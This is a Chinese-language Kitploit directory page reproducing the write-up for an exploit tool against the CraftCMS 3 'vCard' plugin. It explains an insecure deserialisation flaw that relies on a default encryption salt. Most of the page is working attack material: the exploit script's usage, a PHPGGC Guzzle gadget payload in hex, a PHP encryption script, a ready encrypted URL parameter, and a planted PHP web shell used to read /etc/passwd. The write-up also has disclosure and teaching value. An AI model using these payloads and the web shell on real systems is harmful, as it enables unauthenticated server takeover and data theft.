Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
craftcms-vcard-exploit — 此存储库包含针对 CraftCMS 3 的“vCard”插件中发现的一个漏洞的详细信息。 | Kitploit
工具/GitLabGitLab/wguest/craftcms-vcard-exploit
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

此存储库包含针对 CraftCMS 3 的“vCard”插件中发现的一个漏洞的详细信息。

查看仓库
126年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Craft CMS vCard 插件反序列化漏洞

Craft CMS 有一个使用 *.vcf 文件格式下载联系人的插件,名为 "vCard"。该插件可以在 Craft 的仓库和 Github 上查看: Craft Plugin Store Github

描述

该插件接收客户端发送的一个参数,用 openssl_decrypt 解密该值,然后将得到的字符串放入 PHP 的 unserialize 函数。由于加密的默认 salt 在仓库中可见,攻击者可以使用相同的逻辑来加密恶意序列化载荷。

如果用户在插件设置中配置了修改过的 "salt" 值,则需要将其作为参数提供给 Python 脚本。不过,如果从插件商店下载或直接克隆仓库,该值将保持不变。Craft 网页界面中没有更改它的选项。

脚本用法

运行脚本并提供触发联系人下载的 vCard 链接。移除 vcard 参数的值。

示例: 示例 vCard 下载链接:http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

那么脚本的参数将是: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

root@kitploit:~
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

有一个可选的 salt 值可以提供。完整的选项如下所示:

root@kitploit:~
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

要求

  • Python3

该 Python 脚本已在 Python 3.6 上测试。

  • PHP CLI

该脚本会在攻击者的主机上运行 PHP 命令来加密载荷。因此,需要安装 php-cli。此攻击已在 PHP 7.2-cli 和 PHP 7.3-cli 上测试。

漏洞详解

以下是代码不安全地进行反序列化的位置快照(VCardService.php:297)Github:

root@kitploit:~
  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

$optionsString 参数是客户端提供的 "vcard" URL 参数的值。它先经过 decrypt 函数,然后被反序列化。如果客户端能够模拟加密过程,那么此代码就会因为直接反序列化用户提供的数据而变得脆弱。

以下是相关的加密函数(VCardService.php:306)Github:

root@kitploit:~
  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

攻击者唯一需要知道的值是由 "VCard::$plugin->getSettings()->salt" 设置的 $key 变量。默认值可以在仓库中看到,为 "s34s4L7"(config.php:26)Github

假设使用了默认的 salt,攻击者就可以强制对 Craft 安装中的任何类进行反序列化。

我们需要在 Craft 的默认安装中找到一个可用于恶意目的的 "gadget" 类。审查哪些类具有 __destruct 或 __wakeup 魔术方法,可以得到一个足够小的列表供我们审阅。这可以通过使用 "grep -rni < path to web root > -e '__destruct'" 来完成。

guzzlehttp 有一个名为 "FileCookieJar" 的类,它看起来会使用一个类属性作为文件名来保存文件:

root@kitploit:~
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

研究 save 函数可以发现,它会将数据写入系统文件路径,路径和数据都是类属性,且都处于攻击者的控制之下。可以理解的是,当这个类对象被销毁时,它会将拥有的任何 cookie 写入 file name 属性,以便以后恢复或使用。以下是 save 函数的内容,其中 file_put_contents 是我们的目标(FileCookieJar.php:52)Github:

root@kitploit:~
public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

幸运的是,我们不必手动费劲地构造恶意载荷。出色的工具 PHPGGC 会自动将 Guzzle 类与载荷序列化,供我们在该漏洞利用中使用。

我使用该工具创建了这个作为漏洞利用脚本基础的载荷,不过它会根据文件名略有修改。此外,重要的一点是,如果使用 PHPGGC 生成新载荷,则必须使用 "-f" 参数,否则 __destruct 魔术方法将不会运行:

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}

sample.txt 的内容为: <pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

请注意,常规的复制+粘贴在这里是行不通的,因为序列化的类中包含空字节,而属性要正确映射就必须保留这些空字节。我必须将工具的原始输出转换为十六进制,然后在模拟加密过程的同时将其转换回字符串。以下是用于获取十六进制载荷的 bash 命令。

root@kitploit:~
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a

生成的载荷末尾可能有一个 "0A" 字节。如果有,请移除它。无论如何,既然我们已经从 PHPGGC 获得了载荷并转换为十六进制,就需要在将其发送给存在漏洞的插件函数之前进行加密。通过复制前面提到的 vCard 加密函数的逻辑,我们只需转换十六进制载荷并加密。以下是我使用的 PHP 脚本:

root@kitploit:~
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");

$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);

$string2 = rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
echo  "Encrypted parameter:\n" . $string2 . "\n\n";

?>

而得到的输出结果如下:

root@kitploit:~
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php 
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

终于! 现在我们已经有了载荷,只需在请求中发送它,shell 就可以使用了。有效的 vCard 下载链接会有所不同。以下是我测试部署中的一个示例:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=

vcard 参数值会被去除,并替换为我们的恶意值:

http://craftcms/index.php?p=actions/vcard/default/index&vcard=cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY

该字符串作为 $optionsString 传入,经过解密后被反序列化,从而导致内部服务器错误。检查测试 Web 服务器的文件系统可以看到,一个新的 shell.php 文件已被创建:

root@kitploit:~
craft@craftcms:/var/www/html$ ls
cpresources  index.php  shell.php  web.config

craft@craftcms:/var/www/html$ cat shell.php 
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']);    } ?>\n"}]
craft@craftcms:/var/www/html$

在浏览器中访问 http://craftcms/shell.php,我现在可以通过 cmd GET 参数传递系统命令。

示例:http://craftcms/shell.php?cmd=cat%20/etc/passwd

root@kitploit:~
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

参考

PHP Gadget 生成:https://github.com/ambionics/phpggc

vCard 插件:https://github.com/nfourtythree/craft3-vcard

Craft CMS:https://craftcms.com/

unserialize 文档:https://www.php.net/manual/en/function.unserialize.php

下载工具